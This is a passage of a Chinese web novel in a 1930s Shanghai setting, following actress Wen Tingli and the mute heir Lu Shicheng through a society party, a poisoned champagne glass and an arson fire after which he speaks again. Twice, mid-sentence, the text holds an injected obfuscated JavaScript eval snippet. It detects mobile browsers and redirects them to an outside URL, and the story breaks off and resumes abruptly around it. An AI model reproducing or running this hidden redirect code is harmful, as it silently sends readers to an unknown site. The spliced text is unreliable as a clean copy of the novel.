他人不在车上,而是在车下,雪地里,那道颀长的身影十分显眼。 闻亭丽不由得屏住呼吸。 陆世澄一边走一边环顾四周,很警惕的样子,将树下、路灯旁、她家的台阶 前都细细检查了一遍略一思忖抬头向闻家那扇黑漆漆的窗户看过来。 闻亭丽忙躲到窗帘后方。 再向外看时陆世澄已经发车走了。 她不由得有些失神。 他在楼下察看什么?难道有什么不放心的地方? 莫不是—— 笑容骤然回到了她的脸上。 他在担心她的人身安全。 是因为她刚才那番话么? 仅仅因为她说有人在跟踪自己 枉他前头表现得那样冷静。 最好他一辈子都别在她面前露馅才好。 她心里的沉郁一扫而光哼着歌去盥洗室洗澡上床后津津有味地琢磨着今晚的事心里一忽而酸涩一忽而甜蜜一忽儿喜悦半晌才睡着。 *** 新年这几天沪江大学放假剧组也停工三天。 闻亭丽反倒比放假之前更忙了学校里有庆祝活动社会上的一些宴会也陆续向她发出了邀请。 这其中有电影协会一年一度的年会有段妙卿温冠华等知名前辈影星举办的中式家宴还有高家董家等商界名流举办的西洋派对。 这在从前是没有过的事。这些发给她的帖子中无一例外地写着“尊敬的闻亭丽女士。” 这意味着她的名字在社交场合有了一席之地。 这是一个人在社会上有影响力的开始。 闻亭丽为自己感到骄傲成日里忙个不停。 这天高筱文给闻亭丽打电话叮嘱她晚上早点来参加宴会。 忽听片场传来吵闹声闻亭丽忙放下电话过去看原来是煤精灯突然坏了两盏黄远山正在那儿发脾气。 “头些天就闪过几回早让你们送去修你们只互相推这下好了。别的戏也就算了最后这场戏对灯光要求极高你们让我怎么拍?” 众人忙劝黄远山消气商量一番谭副导去找人来修灯只是换零件少说也要几个小时白天的这场戏看样子只能挪到晚上十点以后来拍这样才不至于浪费胶卷。 “周老、温姐、闻亭丽这安排没有问题吧。”黄远山愁眉苦脸征询大伙的意见。 温冠华率先表态:“我是没问题的。 “我们也没意见,前头精雕细琢,没道理最后的重头戏敷衍了事。 在拍戏这件事上,闻亭丽一贯吃苦耐劳,自然也没二话,只在心里盘算,晚上自己依旧可以去高家参加晚宴,大不了九点多就往片场赶。 只是今晚恐怕要拍到凌晨了,这样想着,闻亭丽抓紧时间去办公室给周嫂打电话。 一去,里头已经有人了。 是罗殊红,她将自己的脸正对着门口,一边打电话一边密切注意着外头的动向,声音也压得颇低。看到闻亭丽过来,她非常从容放下了话筒。 闻亭丽向她凝望,罗殊红却大大方方向她打招呼。 “收工了? 闻亭丽暗暗瞥向她身后,除了一台电话机,什么都没有,她沉静地点点头:“对,刚收工。 周嫂在电话里得知闻亭丽要晚些回来,倒也没说什么,只说:“今天柳先生和柳太太还是不在家,听说柳太太有好些亲戚在香港,怕不是趁新年放假坐游轮出去玩了。 闻亭丽沉吟片刻:“回头我自己再打听打听。小桃子还乖吧?告诉她,姐姐今晚就杀青了,明天带她去兆丰公园玩,嗯嗯,您带她早些睡。 等闻亭丽卸完妆赶到高家时,时间已是六点半。 高家这等新贵,向来最讲排场,今晚的场面有多盛大自不必说,厅里的客人简直可以用川流不息来形容,闻亭丽在门口一露面,就有不少客人好奇朝她看过来,高筱文赶出来迎接,那头有人欢笑着招手,“闻亭丽。 花厅里花花绿绿全是人,左边的高背沙发上坐着当红女明星玉佩玲,她里头穿件烟蓝色低腰长裙,外头披着油光水滑的雪白裘领,头上是水钻发箍,气质是一等一的出众,身上喷着在巴黎guerlain专门定制的香水,端的是香风四溢。她身旁围绕着的这帮青年男女,无不也是精心装扮,那个名叫陈茂青的经理也在其中。 右边则是务实中学的一班旧同学,与左边的珠光宝气比起来,这边显得清新朴素,一团学生气。 闻亭丽主动过去跟玉佩玲打招呼,一来她们两个打过交道,二来玉佩玲算是业内前辈。 “好久不见了。 “是呢。闻亭丽笑答,忽觉侧方射来一道锐利的目光,就见玉佩玲的经纪人正满怀敌意地打量她,不过他旋即收回视线,笑哈哈跟别人说起了话,仿佛刚才的那一幕不过是闻亭丽自己的错觉。 闻亭丽倒有点知道这个陈经理为何如此,黄远山同她分析过,她跟玉佩玲算是差不多的类型,在电影界这叫“撞型 陈茂青好不容易把玉佩玲捧到今天的地位,远没有红够呢,自然不希望看到一个更年轻的竞争对手冒出来跟玉佩玲抢角色。 “这也算是人之常情。那天黄远山对她感叹道,“你是在我们黄金影业出道的,陈茂青没办法再把你弄到他那边去,势必会替玉佩玲防着你,《南国佳人》没火也就算了,一旦火了,你就有机会领教他那些手段了,这方面陈茂青可是臭名昭著的,这话你先放在心上,总归小心些为妙。 闻亭丽在脑海里回想着这些话,面上却一点没露出痕迹,依旧兴致盎然同对方打了声招呼,这才走到这边,挤在朋友们中间坐下。 赵青萝从燕珍珍手里抢过一本书塞给闻亭丽:“你快看,燕珍珍可大出息了,几日没碰头,她居然在学校里闷声不响写出一个剧本,我还说,这剧本说不定以后你来演呢。 燕珍珍伸手欲夺回,闻亭丽早跳起来躲到另一头去了,燕珍珍只得用手捂着脸。 “闻亭丽,你要是敢笑话我,我就跟你断交! 闻亭丽不容分说翻开扉页。“在务本念书的时候你就爱写这些东西,噫,《是福不是祸》,这是剧本名字吗? 往后读了几行,闻亭丽欢喜地说:“欸,真不错!你等等,你别抢,你让我看完行不行,要不这样,明早我把它拿给黄姐看看。 那边有人唤闻亭丽,是潘太太,闻亭丽忙迎上去:“潘太太。 潘太太今晚不是一个人来的,她身边还带着几个衣着华贵的年轻人,看起来像是潘太太的子侄。 “这就是我跟你们说过的闻小姐,她还在大学念书。潘太太笑呵呵拉住闻亭丽的手,“他们三个是我们潘家年轻一辈中最成器的,肯念书,为人也还算忠厚,今晚高家如此热闹,我带他们出来走动走动。 几位公子一看见闻亭丽,眼睛便是一亮。 “闻 小姐,你在哪间大学读书?念什么系? “咦,闻小姐是不是上过《振声晚报》的人物专访,我好像看过你的相片。 最机灵的那一位干脆帮闻亭丽拿了一份果盘:“老站着说话没意思,闻小姐,我们到那边吃东西边聊吧,你会打网球吗?不会,我教你啊。 正巧高太太过来迎接潘太太,见此情形,两位太太笑着摇摇头,一起走开了。 闻亭丽应对自如,顾盼生辉,刚被几人护送着坐到沙发上,又有一班年轻公子围上来,男人们就像蜜蜂见了花一样,把她团团围在中间。 有人给她拿饮料,有人为她端点心,有人殷勤献上一束花,更有人建议要陪她去花园里透气,还有人把自己新买的德国微型相机拿出来给她玩。 闻亭丽将胳膊支在沙发右边扶手上,懒洋洋听他们说话,忽觉有一道视线朝这边射过来,就不知是在看她,还是在看她身边的人。一抬头,就见陆世澄旁若无人朝那边去了。 仿佛方才那道目光只是她自己的错觉。 闻亭丽咬唇觑着他的背影。 “那小子是谁?潘家大少爷说,“众星捧月似的,连高大公子都对他如此殷勤。 “陆世澄你都不认得? “潘少爷刚从天津来上海,不怪他不认得,不过陆世澄不是回南洋去了吗?何时回来的。 “回来有几日了吧,年底事情多,他回来代表陆家主持上海商会的年会什么的。对了,你们都听说了吧,半年前陆世澄投资了一部《时间的沙》,特地找了电影皇帝朱小舟来演,听说都快杀青了,倘若此片成绩好,陆家说不定会继续在电影界投资呢。 此话一出,这些公子倒没什么,旁边文艺圈的人士登时来了精神。“那电影圈可就热闹了,三四代人积累下来的庞大家业,连白龙帮都眼馋得不得了,到时候陆家想捧谁,还不是一句话的事。 这番话引起了现场某个人的兴趣,这人炯炯地盯着陆世澄的背影,正是陈茂青。 他用目光追随陆世澄的同时,不忘用手肘怼怼身边的玉佩玲,玉佩玲被他一怼,手里的酒差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高庭新摇摇头:“我一个伯父在美国学医据他说陆世澄这病需要一种强烈的应激类似于我们中国人常说的药引没有药引子再怎么治也是不济事的先不说这个——喂你比我会看人你看今晚陆世澄那意思这次游乐场入股的事他究竟会不会考虑?” 他想起方才在桥牌室的情形他这边刚提起双方入股合作的事陆世 澄就直截了当摇摇头。 高庭新笑着说:“好歹听我把话说完再拒绝我这实在是个好项目多少人想入股都没这个实力现在上海滩正儿八经的游乐场只有大世界、新世界两家其中新世界游乐场设施还相当老旧……” 话虽这样说其实他心里不抱什么希望毕竟去年他也曾跟陆世澄提过兴建游乐场的事陆世澄也是果断回绝了他。 谁知今天这话一出陆世澄居然露出了一点想听的意思。 他忙说:“放心我晓得你不想跟白龙帮扯上关系这次不是虹口那块地皮而是在抛球场附近原主人姓王多年前王老爷用它盖了一家面粉厂厂子破产以后就一直闲置着我打算把它买下来你我合作投资不信不能兴建一个比大世界还要豪华的游乐场。” 也不知哪句话触动了陆世澄他竟接过企划书若有所思翻阅起来。 说到这高庭新猛地回过神:“瞧我筱文说有什么十万火急的大事要同我俩说先去看看怎么回事。” 孟麒光迈步下台阶忽似瞥见了什么定神朝那边看了一会 高庭新不疑有他一个人先走了。 闻亭丽在边上的树丛里躲了这么久腿都蹲麻了心里只盼着孟麒光赶紧离开可他意态悠闲往口里放了一根烟竟像是不打算走了。 闻亭丽暗中叫苦不迭。 低头才发现自己的裙角不小心露在一角在外头小心翼翼想要将裙角收回偏在这时孟麒光突然有意无意扭头朝这边看了一下。 闻亭丽吓得忘了呼吸。 还好孟麒光虽然脸朝这边转了转却只是很随意地朝楼上的方向瞟了瞟紧接着便收回了目光。 闻亭丽感觉自己就快要撑不住了。 她开始怀疑孟麒光是存心如此不然的话他为何咬着烟管在那儿坏笑。 他多半一早就看见她了。 闻亭丽心中一横索性打算从树丛里大大方方钻出来这时前方传来脚步声透过树缝向外瞄是玉佩玲和陈茂青来了。 陈茂青正拉着玉佩玲说悄悄话看到台阶上的孟麒光两人同时停步玉佩玲笑问:“孟先生 怎么一个人呆在这儿。 “里头太闷了,出来透透气。 陈茂青说:“孟先生方才一直在后楼打牌吧,敢问牌局散场了么?。 “早散场了。 二人便客客气气擦过孟麒光身畔进了楼里。 孟麒光对着灌木丛深深望了一眼,淡着脸掐灭烟头,下台阶走了。 说来也怪,孟麒光前脚一走,陈茂青就从楼里出来了,边走边意味深长朝楼里看,俨然在得意着什么。 陈茂青一走远,闻亭丽立即从灌木丛后面钻出,起来后才发觉自己不只腿麻,手也麻,之前躲起来的时候,手里还习惯性地举着两杯香槟,幸好酒液没有洒出来多少。 在树影里草草拾掇一下,只身往楼里去。高筱文告诉她,一楼东侧有一排娱乐室,最里头的那个房间向来是她大哥跟朋友们打牌之处。 刚进楼,就闻到了一缕似有若无的香气,有人刚刚从走廊上走过,那缕暗香还残留在空气里。 这气味太独特了,一闻便知是玉佩玲用的那款香。 闻亭丽静悄悄循着那香气的来源向前走,走廊上铺着厚厚的地毯,双脚踩上去毫无声响,到了走廊尽头,就见那间房的房门关着,里面隐约有女子在说话。 闻亭丽正竖着耳朵听,房门倏地一开,玉佩玲狼狈不堪地从里头出来了,边走边恼恨说:“这是撞枪口上了么?这个陈茂青,净给我出馊主意! 又哼道:“有什么了不起,上海滩想追我玉佩玲的要多少有多少,不差你一个! 一边小声咕哝,一边像白天鹅一样把自己的脑袋高高昂起,摇摇曳曳踩着高跟鞋走了。大约是只顾着沉浸在羞恼的情绪里,她压根没注意到角落里的闻亭丽。 闻亭丽朝房里看,就见陆世澄一个人遥遥坐在牌桌后。 房间里的壁炉烧得太旺,他身上未着外套,只穿着白衬衫和一件暗色西装马甲,领带上别着一枚翡翠领夹,或许是觉得热,两边的衬衫袖子各自卷起了一截,手边还有一个空酒杯。 他面色阴郁而冷淡,也不知在想什么。 听见门口的动静,陆世澄的脸上,竟闪现出一丝极不耐烦的神色。 自打认识他以来,闻亭丽还是第一次在他脸上看到这种表情,可当他 第 65 章 剪不断,理还乱。 第65章剪不断,理还乱。 闻亭丽醒来时只觉得浑身酸痛。 房间有点昏暗,耳边异常安静,她呆呆环顾四周,脑中像水洗过似的一片空白。 毫无预兆地,一些零碎的记忆片段铺天盖地朝她涌来。 熊熊的火焰,令人心惊肉跳的嘈杂声响,冲天的黑烟中,有个人在焦灼寻她。 “闻亭丽!” 这声音,哪怕是在梦中也能让她的灵魂发抖。 她像中了电一样从床上弹起。 “闻小姐,你醒了。”房里的灯被人捻亮,有人快步朝床边走来。 闻亭丽茫然地看着前方,半晌才认出那是路易斯诊所的梅丽莎护士。 “我这是在哪儿……”闻亭丽勉强停顿了一瞬,马上用急切的语气问,“陆先生呢?” 这一发声,她才发现自己的嗓子像吞了一大把沙砾似的,哑痛难言。 “先别动。”梅丽莎温和地扶住她的肩膀,“你在火场呛了不少浓烟,目前还在观察阶段,先喝点水看看情况,若是有不舒服的感觉,我得马上去告诉路易斯大夫他们。” 闻亭丽注意到自己在陆公馆的客房,这下哪里还躺得住。 “陆先生他在哪儿?火扑灭了吗?他有没有受伤?我要去找他。” 梅丽莎强行扶住闻亭丽。 “程主任和路易斯大夫这会儿正在给陆先生治疗,目前你们都需要好好治疗和休息。” “他伤得很重吗?为什么来了这么多大夫?”她几次要下床,无奈拗不过梅丽莎,急得将梅丽莎手里的水杯夺过来一口气喝完,“您瞧,水喝完了,一点不舒服的感觉也没有,我真没什么大碍,让我去探望探望陆先生好不好。” 梅丽莎无奈去找路易斯汇报,不一会儿走廊外就传来了好几个人的脚步声,进来的除了路易斯大夫,竟然还有几位惠群医院的内科大夫。 路易斯大夫负责检查闻亭丽的神经系统,其他大夫用听诊器给她肺部听诊。 “怎么样?”闻亭丽一会儿仰头看看左边的路易斯,一会儿仰头看看右边的程主任,“我可以下地了吗?” 几位大夫互相交流几句,大约是认为闻亭丽的状况还不错 态度便有些松动。 “我们建议闻小姐继续卧床休息再说陆先生这会儿已经睡着了要看也只能明天再去探望他。” “只在门口看他一眼就好我想亲眼确定他没有大碍。” 在闻亭丽的坚持下路易斯终于同意梅丽莎搀扶闻亭丽去楼上探望陆世澄刚到楼就看到邝志林和一位身材高大的女大夫在某间卧室的门前说话。 邝志林一贯喜怒不形于色这会儿脸上却洋溢着喜色。 “上一次开口说话是遭人暗算这一次是因为火灾也许真就像凯琳博士所说的只有面临真正的绝境时才会激发本能……邝某是相当惊喜的要知道今晚澄少爷在火场外接连交代了三句话句句都口齿清晰就不知这一情况能——” 说话时瞥见闻亭丽两人同时打住了话头邝志林面上闪过一丝复杂的神色但他旋即就热忱地朝闻亭丽快步迎过来。 “闻小姐醒了。” 闻亭丽却只望着邝志林身后那扇紧闭的房门。 “我想进去看看陆先生。” 邝志林却用激动的腔调说:“闻小姐你知不知道澄少爷能说话了邝某想问你一些事情。” 那位女大夫忍不住在旁插话:“这位是?” “瞧我一高兴就忘了做介绍。”邝志林对闻亭丽说“这位是凯琳博士她是心理学专家专门负责治疗澄少爷的哑病。” “您好。“闻亭丽俯身向凯琳博士行礼凯琳博士扶住闻亭丽的胳膊“不必客气我听邝先生说 “我困在火场里出不来我听见他来找我他、他很清楚地叫我的名字。” 凯琳博士表情有点困惑:“在当时那种情形下您能准确分辨出那是陆小先生的声音?” 闻亭丽刚要答路易斯大夫在旁笑着解释说:“忘记同凯琳博士说了陆小先生第一次在病中开口说话也是这位闻小姐在边上听见的所以我想她不论听错谁的声音也不会听错陆小先生的声音的。” 凯琳博士顿有所悟含笑注视着闻亭丽说:“那我明白了。” 邝志林送她下楼时凯琳博士低声同他说了几句话闻亭丽趁这工夫便 要入内去探望陆世澄,却被几个随从拦在门口。 邝志林赶忙返回来:“请让闻小姐进去。 又悄悄把她拉到一边:“进去之前,请允许我再问你一点事。 他将闻亭丽领到对面的房间,里面有沙发,他示意梅丽莎扶闻亭丽在沙发上坐下,然后,他屏退了所有人,只留了路易斯大夫和梅丽莎护士在门外等候。 坐定后,邝志林谨慎发问:“今晚这场失火究竟是意外还是人为,闻小姐心里可有数? 闻亭丽想起杂物间那扇突然推不开的门,恨声说:“有人蓄意纵火!失火之前,我被人锁在化妆间里,而且现场被人提前洒了汽油,不然火势不会蔓延得那样快。 “所以这场火会不会就是冲着闻小姐来的? 闻亭丽沉着脸说:“极有这个可能,前段时日就有人跟踪过我,只不过当时没出什么事,我猜那人早就想动手害我了。 邝志林表情益发严肃:“冒昧问一句,闻小姐这半年可曾得罪过什么人? “要说老仇人,只有一个邱大鹏,还有一个邓天星不知道算不算,此二人已经许久没露面,但暗地里究竟做了什么勾当暂未可知,但——并不能就此断定没有别的嫌凶。至于别人,我成天不是在学校念书,就是在剧组拍戏,结交新朋友还来不及,哪有机会得罪什么人呢—— 她脑中闪过一个人影,急声发问:“我们片场的老卢可逃出来了?当时他跟我一样被堵在片场了。 “放心,都出来了,当时还是这位卢先生去找的澄少爷,澄少爷虽在附近的马路上,却不确定你是不是还滞留在棚里,所以并未第一时间冲进火场……这些都不说了,澄少爷将闻小姐救出来之后,因为担心片场里还有人,马上通知了贵公司和法租界消防署(注),不久就将火扑灭了。过后经黄导演现场清点人数,证实她们公司的人都在外头,假如今晚这场火真是有人蓄意放的,目标多半正是闻小姐,那位老卢只是受了池鱼之殃。 又正色说:“这件事不会就这样稀里糊涂过去的,巡捕房已经开始着手调查了,陆家和黄金影业也会全力配合警方,相信真相很快会水落石出,闻小姐自己若是想起什么线索,记得第一时间告诉邝某。对了,澄少爷救出闻小姐后一直咳嗽不止—— ” 闻亭丽神色一紧。 邝志林安抚性地抬手往下摁了摁:“大夫说,可能是吸入性肺炎,需要静养几日,用过药后澄少爷就睡下了,我猜这会儿也快醒了,闻小姐最好进去看一眼就出来,你们是病人,眼下都需要休息。” 他把闻亭丽送到陆世澄的卧房门口,自己带着梅丽莎退到了一边。 闻亭丽轻轻拧开门把手。 来过陆公馆好几次了,但还是第一次进到陆世澄的卧室里面,一进去,先看见了一间起居室,原本她没有心思打量房内的陈设,然而一想到这是陆世澄的卧房,于好奇之外,还有一种浓浓的亲切感,浅灰色墙壁,镀金椴木家具,两排白色玻璃窗比寻常人家的天花板都要高。 这会儿天色已经见亮了,淡蓝色的天光从窗外照进来,柚木地板因历年来吸饱了蜡,在晨曦的照射下反射出一种柔亮的光泽,墙上挂了着一副中国名家水墨画,一切都笼罩在一种典雅安静的氛围里。 径自从右边那扇门走进去,原来里面那间才是睡房。 进去,就见陆世澄睡在床上,闻亭丽下意识收住脚步。 陆世澄睡得正沉,床边摆着好些药瓶,在门口屏住呼吸等待几秒,确定自己的到来没有吵到陆世澄,这才继续迈着极轻的步伐走到床边。 陆世澄睡觉时历来安静,可她一到床边就注意到他的呼吸比上次养伤时粗重几分,这大概就是肺炎的缘故,她轻手轻脚坐到床边的沙发上,端视着陆世澄的睡脸。 又瞧见他露在被子外头的胳膊上敷着一层亮晶晶的药膏,凑近看,那竟是一处烧伤。 闻亭丽呼吸一滞,连忙小心翼翼端起他的胳膊细看,谁知这一碰,陆世澄闭眼皱眉在枕上转动了一下脑袋,忽然像是惊醒了,竟以迅疾的速度从枕头下面摸出一把枪对准她。 两人的视线就这样在半空中相撞了。 陆世澄的黑眸里残留着睡意,额发散落在额头上,乍看有点孩子气。但他的状态是成年人特有的防备和机警,这大概是自小在某种环境中成长时养成的习惯,睡觉时也不会完全卸下防备。 看清是闻亭丽,他也像是滞住了。 闻亭丽呆愣片刻,结结巴巴说:“我很担心你的伤势,所以来看你。” 陆世澄 定定注视闻亭丽片刻,沉默着收回枪,一头倒回床上,可才躺下去,似乎觉得这样不太妥当,又背靠床头坐起来,闻亭丽一眼就认出他身上的樱白色睡衣是当初她买的那件。 陆世澄先是抬眼看看窗外的天光,继而转头淡淡瞥她一眼,不期然看见闻亭丽正一脸甜笑看着他。 “昨晚你怎么来得那样及时?闻亭丽的声音小而甜,“你当时就在片场外头对不对?你不放心我? 陆世澄闭了闭眼,掀开被便要下床,闻亭丽忙起身按住他的肩膀:“要喝水么?我帮你拿。 她快步从床尾绕到到另一个床头柜前,弯腰将水杯递给他。 陆世澄抬眼打量她片刻,一声不吭接过了水杯。 闻亭丽满面笑容看着他喝水。 陆世澄喝完半杯水,待要将水杯放回去,却又被闻亭丽抢先拿走,“我帮你放。 然后,她又开始一本正经研究他床头柜上那些药瓶。 “是不是该吃药了?我瞧瞧哪一瓶是你现在要吃的。 路易斯配药时有个好习惯,为了防止病人错吃漏吃,会提前在每个药瓶上都贴上标签,上回陆世澄在闻亭丽家养伤时便是如此了,闻亭丽很快便将那堆药瓶研究明白了,从中拿起一个小白瓶取出五片药递给陆世澄。 “先吃这个。 陆世澄的沉默似是一种抵抗,可也只僵持片刻,便接过水杯喝了药。 闻亭丽紧接着拿起另一个沉甸甸的黑色玻璃瓶端详,里面是一种黏稠的棕色药浆,药盒里另配一个小银勺。 “再就是这个。她打开瓶盖,从里面舀出一勺药送到他嘴边。 陆世澄的视线从闻亭丽的脸上,静静地滑落到她的手上,不肯张口。 “你受了伤不方便,正好我在这儿,我帮帮你也不行么。 陆世澄眼看着她手中的勺子送到了自己的唇边,忽道:“我自己来。 这声音一出,房间里倏地一静。 闻亭丽满脸震惊,尽管此前已经听过陆世澄开口说话,但当时那种境况究竟有点迷乱的意味,事后回想总觉得不太真实,可现在,陆世澄却在她面前清清清楚楚地开口说话了。 这句话如同一声春雷,在她心弦深处震出巨大的一声响。 “你——” 陆世澄自己也有些呆住了,但他对自己的身体变化像是早有心理准备,从一脸惊诧到恢复镇定,仅仅用了两秒钟。 转眼间,他的表情冷静下来,用肯定的语气再次开腔:“把勺子给我。” 这一回,他的吐词更加清楚了,嗓腔是那样沉哑。 闻亭丽依旧处在一种极强烈的震撼中,眼睁睁看着陆世澄从她手里拿过那勺药自己吃了,又眼睁睁看着他将药瓶从她手中抽出放到一旁的床头柜上,全程呆愣得无法思考。 直到听见玻璃药瓶搁在柜体上发出的真实声响,她才如梦初醒。 她欣喜若狂地站起身。 不再像上回那样只是昙花一现,这次他居然—— “方才真是你的声音吗?”她的嗓腔在发颤,“你说话了!我得马上告诉那位凯琳博士,她很担心你醒来后的状况,你别动,让我看看你的喉咙。” 说话间,忍不住俯身朝他望去,因为太过激动和好奇,两只手忘形地撑在他的被面上,陆世澄看着上方那张离自己越来越近的脸庞,冷不丁说:“闻小姐——” 闻亭丽一愣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659447|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “请走,我这边不需要你的照顾。” 闻亭丽只当自己听错了,可尽管陆世澄的声音有点低哑,一字一字却很清晰。 “你在这儿,我非常不方便。”陆世澄语气非常克制,“请你回房养你自己的伤。” 闻亭丽坐回床边的沙发。 “我不走,既然陆先生一看到我就心烦,昨晚为什么还要不顾危险闯入火场救我?” 陆世澄不响。 “别告诉我你只是碰巧路过那儿、碰巧闯进片场、碰巧在火里救下了我!” 她仰头“哈”了一声:“这些借口陆先生骗骗自己就好了,反正骗不了我。” “我的确是特地去找你的。”陆世澄忽道。 闻亭丽怔然,随即露出胜利的微笑。 陆世澄将视线不着痕迹地从她的笑靥上移开,平淡地说:“我去找你,是因为高家有位客人的杯子里被人投了□□,而此事恰巧与你有关。” 闻亭丽一骇。 “那杯子就是你去桥牌室找我时带着的香槟杯。” “你是说,有人在我那两 个杯子里下了毒?! “准确地说,只在其中一个香槟杯里下了毒。陆世澄一眼不眨观察她的表情,“别人或许不知道,我却清楚两个杯子都是你亲自带来的。 闻亭丽忽然露出狐疑之色:“陆先生不会怀疑我是要给你下毒吧? 陆世澄不置可否。 “陆世澄?!闻亭丽简直有些惊怒。 “我没这么想。 “我想要毒死你的话,老早就有无数次机会动手了,还用等到昨晚? 陆世澄并不辩解,只静静等她消气,再发问:“那杯子边缘有你的口红印,你此前可曾拿这杯子喝过酒? “我还没来得及喝。 昨晚去找陆世澄时,她其实还没有想好怎么跟他交流,在点心区域先拿了第一杯香槟,却站在台子前面出了很久的神。 这期间,不断有宾客从她身后路过,也不断有人走到她身旁拿点心,倘若有人趁她走神的时候往杯子里投毒,未必会引起她的警觉。 之后她斟了第二杯香槟去找陆世澄,不料撞上孟高二人,无奈之下藏到了树丛中,一直蹲到脚都麻了才出来,起身时没站稳,嘴唇误碰到杯沿,由此留下了一个口红印,但她从头到尾都没喝杯里的酒液。 假如她毫无防备喝下了那杯香槟,抑或是对方有足够的时间在杯沿上抹毒液,说不定她当场就毒发身亡了,简直是防不胜防! 她后怕不已,呆楞了好一会才回过神,擦擦额头上的冷汗:“要查到嫌疑人不难,只需向高庭新要到昨晚的宾客名单,不难查出昨晚谁最有嫌疑,但我想,就算确定了是谁做的,也未必有充分的证据控告对方,除非有目击者。 陆世澄默了默:“得知此事后,我猜你并不知道有人给你下过毒,本想让邝志林给你打个电话提醒你,可他们告诉我你在片场拍夜戏,因此—— “你干脆直接去片场找我? 闻亭丽笑靥愈发深,再然后,他就冒着危险闯进去救了她。 陆世澄尽可能用严肃而冷淡的表情看着闻亭丽。 可惜到了这一步,闻亭丽已经不会被这副装出来的冷淡所打击,她转眸望向他烫伤的胳膊,一脸心疼地说:“很疼对不对,让我瞧瞧。 她的手刚触 上去陆世澄就克制地将她的手指从自己的胳膊上一一掰开。 闻亭丽咬唇瞪着他:“非要这样吗?” 陆世澄干脆翻身从床的另一侧下了地却因为起得太猛咳嗽了几声。 闻亭丽忙绕到床对侧“大夫说你有肺炎我扶你。” 陆世澄立即抬高胳膊避免让闻亭丽搀扶自己。 “我想刚才已经说过了我不需要你照顾闻小姐的好意我心领了男女有别请你马上离开我的卧室。” “好我走以后我再也不来打搅你。” 她毫不犹豫转身离开可没走两步就觉得眼前一阵发晕脚下不自觉晃了两下。 陆世澄在后面看着她眼看她要摔倒忍不住上前扶住她。 闻亭丽嘴边露出笑意赶忙回身把自己的脑袋靠在他的肩窝上听到他的心脏在胸壁怦怦地跳她小声而愉悦地说:“你心里明明还爱着我为什么还要同我闹别扭?” 陆世澄把她从自己身前拉开带着一点愠意说:“你这套把戏究竟还要在我面前用多少次?!” 闻亭丽望着他直笑:“你要是压根不在意我我这点小把戏怎样都不会管用的。” 陆世澄努力稳住情绪:“我扶你只是因为我不想看你在我面前摔倒受伤 “你说谎。”闻亭丽轻声说“我听到你是怎样在大火里找寻我的你这些话骗骗自己好了我是一个字都不信的。” 陆世澄把脸转向另一边:“那只能说明我和闻小姐对于感情的理解有很大的偏差在我看来一段感情是不宜掺杂太多谎言和隐瞒的从你欺骗我的那一刻起这份感情在我心里就已经变了质这道理你究竟怎样才能明白?” “你这——” 你这头倔驴! 陆世澄并不知道自己在闻亭丽心里已经成了一头驴他沉静地打住她的话头:“话我已经说完了闻小姐若还不肯离开这房间让给你我走就是了。” 闻亭丽赌气朝外走:“不必!要走也是我走只要路易斯大夫同意我一刻都不耽误马上离开陆公馆。” 她下楼回到自己的房间让人去请路易斯大夫打定主意立刻就走谁知等着等着就睡着了再醒来就听到耳边有人低声说话。 “别担心闻小姐没什么大问题她只是太累了让她睡吧睡觉也有助于恢复体力。” “阿弥陀佛!陆先生他怎么样了?待会一定要当面向他好好道谢才好。” 闻亭丽心中咯噔一声这声音怎么像是周嫂。 “不急。”梅丽莎笑着说“陆小先生现在自己也是病人回头总有机会致谢的噫小桃子你在找什么呀?” 闻亭丽情不自禁睁开眼就看见周嫂和小桃子在床边。 “你们怎么来了?”她错愕。 “邝先生把我们接过来的。”周嫂忙凑上来。 作者有话要说